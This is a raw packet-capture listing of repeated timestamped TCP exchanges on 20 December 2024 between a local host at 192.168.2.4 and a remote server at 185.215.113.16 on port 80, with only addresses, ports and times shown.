Dec 20, 2024 11:12:31.636915922 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.636930943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.637860060 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.637916088 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.638338089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.638420105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.638921976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.638978958 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.639240980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.639296055 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.640000105 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.640058041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.640096903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.640343904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.641031981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.641083002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.641985893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.642044067 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.642174006 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.642213106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.642224073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.642270088 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.643376112 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.643412113 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.643435001 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.643450975 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.644216061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.644268036 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.645057917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.645118952 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.645313978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.645349979 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.645365953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.645395041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.646334887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.646389961 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.646497965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.646584034 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.647397995 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.647505045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.647516012 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.647598028 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.648718119 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.648768902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.648828983 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.648901939 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.649533033 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.649586916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.649661064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.649780989 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.650587082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.650773048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.650793076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.650840998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.651652098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.651701927 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.652580023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.652625084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.652698994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.652733088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.652753115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.652781963 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.654203892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.654253006 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.654520035 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.654578924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.655109882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.655160904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.655930996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.655978918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.656058073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.656105042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.656167030 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.656219959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.657006979 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.657061100 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.657124043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.657182932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.657964945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.658016920 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.658231974 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.658283949 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.659029007 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.659080982 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.659267902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.659331083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.660083055 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.660135031 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.660746098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.661201000 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.661273003 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.661536932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.661593914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.662224054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.662275076 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.662417889 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.662470102 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.663260937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.663307905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.663608074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.663655043 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.664334059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.664386988 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.664386988 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.664439917 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.665378094 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.665430069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.665551901 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.665604115 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.666414022 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.666471004 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.803693056 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.803761005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.803854942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.803906918 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.804179907 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.804218054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.804275036 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.805191994 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.805248022 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.806307077 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.806344032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.806366920 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.806379080 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.806395054 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.806423903 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.807379007 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.807487011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.807540894 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.807593107 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.808401108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.808460951 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.808599949 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.808650017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.809417963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.809501886 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.809947968 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.810070992 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.810481071 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.810528040 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.810736895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.810790062 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.811626911 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.811680079 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.811934948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.811989069 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.812711954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.812796116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.813424110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.813476086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.813668013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.813725948 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.813879967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.813997984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.814789057 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.814826965 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.814897060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.814897060 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.815798044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.815850973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.815941095 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.816067934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.816853046 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.816909075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.816911936 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.816972017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.817887068 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.817941904 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.817946911 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.817991972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.818958044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.819010973 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.819020987 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.819052935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.820024014 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.820087910 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.820281982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.820400953 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.821077108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.821276903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.821337938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.822130919 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.822199106 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.823235989 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.823271990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.823290110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.823334932 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.823350906 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.823406935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.824246883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.824408054 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.824464083 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.825366020 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.825402021 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.825417042 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.825449944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.826412916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.826463938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.826901913 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.826951027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.827425957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.827673912 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.827692986 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.827718973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.828512907 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.828772068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.829364061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.829423904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.829590082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.829627037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.829647064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.829677105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.830632925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.830682993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.831046104 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.831099033 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.831682920 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.831746101 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.831805944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.831862926 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.832786083 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.832856894 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.832909107 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.833158016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.833771944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.833959103 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.834022999 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.834894896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.834954977 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.835306883 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.835366964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.835894108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.836030960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.836102962 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.837017059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.837068081 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.837071896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.837106943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.838022947 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.838089943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.838166952 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.838243008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.839066029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.839133024 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.839415073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.839462996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.840121031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.840486050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.840544939 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.841187954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.841243029 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.841521978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.841572046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.842268944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.842319012 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.842396021 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.842444897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.843384981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.843420029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.843444109 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.843476057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.844399929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.844465971 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.844552040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.844605923 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.845417023 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.845470905 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.846002102 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.846074104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.846549034 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.846596956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.846621990 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.846654892 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.847580910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.847640991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.848032951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.848274946 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.848608017 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.848669052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.849273920 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.849349022 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.849698067 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.849766970 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.850025892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.850148916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.850722075 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.850779057 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.851094007 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.851146936 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.851807117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.851856947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.851995945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.852050066 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.852849960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.852902889 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.853123903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.853174925 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.853960991 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.853993893 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.854024887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.854053974 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.854960918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.855017900 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.855268002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.855323076 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.856087923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.856123924 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.856141090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.856168985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.857103109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.857156992 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.857156992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.857201099 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.858123064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.858180046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.858457088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.858509064 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.859491110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.859548092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.995711088 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.995775938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.995840073 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.995907068 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.995929956 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.995975971 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.996094942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.996197939 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.996994019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.997046947 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.997046947 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.997093916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.998075008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.998200893 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.998223066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.998272896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.999115944 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.999167919 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.999244928 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.999339104 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:32.000188112 CET	80	49817	185.215.113.16	192.168.2.4
